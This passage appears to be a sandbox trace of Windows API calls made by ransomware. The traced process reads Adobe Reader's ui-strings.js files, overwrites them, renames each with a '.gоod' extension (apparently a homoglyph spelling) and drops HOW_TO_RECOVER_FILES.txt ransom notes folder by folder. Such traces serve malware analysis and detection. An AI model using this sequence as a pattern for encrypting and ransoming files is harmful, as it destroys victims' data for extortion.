lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.869] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.869] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0269.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0269.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38dcfc0 | out: lpFileInformation=0x38dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465)) returned 1 [0269.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0269.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.870] GetFileType (hFile=0x89c) returned 0x1 [0269.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.870] GetFileType (hFile=0x89c) returned 0x1 [0269.870] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x465 [0269.870] ReadFile (in: hFile=0x89c, lpBuffer=0x38dd7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38dd7d0*, lpNumberOfBytesRead=0x208ebf98*=0x465, lpOverlapped=0x0) returned 1 [0269.871] CloseHandle (hObject=0x89c) returned 1 [0269.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.897] GetFileType (hFile=0x89c) returned 0x1 [0269.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.897] GetFileType (hFile=0x89c) returned 0x1 [0269.897] WriteFile (in: hFile=0x89c, lpBuffer=0x3956328*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3956328*, lpNumberOfBytesWritten=0x208ebea8*=0x470, lpOverlapped=0x0) returned 1 [0269.898] CloseHandle (hObject=0x89c) returned 1 [0269.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0269.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0269.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9d160386, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0269.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0269.898] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0269.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0269.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0269.899] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0271.433] GetFileType (hFile=0x808) returned 0x1 [0271.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0271.433] GetFileType (hFile=0x808) returned 0x1 [0272.507] WriteFile (in: hFile=0x808, lpBuffer=0x396fc00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x396fc00*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0272.508] CloseHandle (hObject=0x808) returned 1 [0272.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.509] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x76 [0272.509] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0272.509] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.509] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0272.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x76 [0272.510] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0272.510] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.510] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0272.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0272.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0272.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0272.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x397fad8 | out: lpFileInformation=0x397fad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0272.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0272.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0272.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0272.511] GetFileType (hFile=0x808) returned 0x1 [0272.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0272.511] GetFileType (hFile=0x808) returned 0x1 [0272.511] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x490 [0272.511] ReadFile (in: hFile=0x808, lpBuffer=0x3980310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3980310*, lpNumberOfBytesRead=0x208ebf98*=0x490, lpOverlapped=0x0) returned 1 [0272.513] CloseHandle (hObject=0x808) returned 1 [0272.539] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0272.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0272.541] GetFileType (hFile=0x808) returned 0x1 [0272.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0272.541] GetFileType (hFile=0x808) returned 0x1 [0272.541] WriteFile (in: hFile=0x808, lpBuffer=0x39f9088*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x39f9088*, lpNumberOfBytesWritten=0x208ebea8*=0x4a0, lpOverlapped=0x0) returned 1 [0272.542] CloseHandle (hObject=0x808) returned 1 [0272.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0272.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0272.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0272.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ea9af84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1 [0272.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0272.542] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0272.544] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0272.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0272.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0272.544] GetFileType (hFile=0x808) returned 0x1 [0272.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0272.545] GetFileType (hFile=0x808) returned 0x1 [0272.545] WriteFile (in: hFile=0x808, lpBuffer=0x39fc988*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x39fc988*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0272.546] CloseHandle (hObject=0x808) returned 1 [0272.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0272.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root", lpFilePart=0x0) returned 0x75 [0272.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, 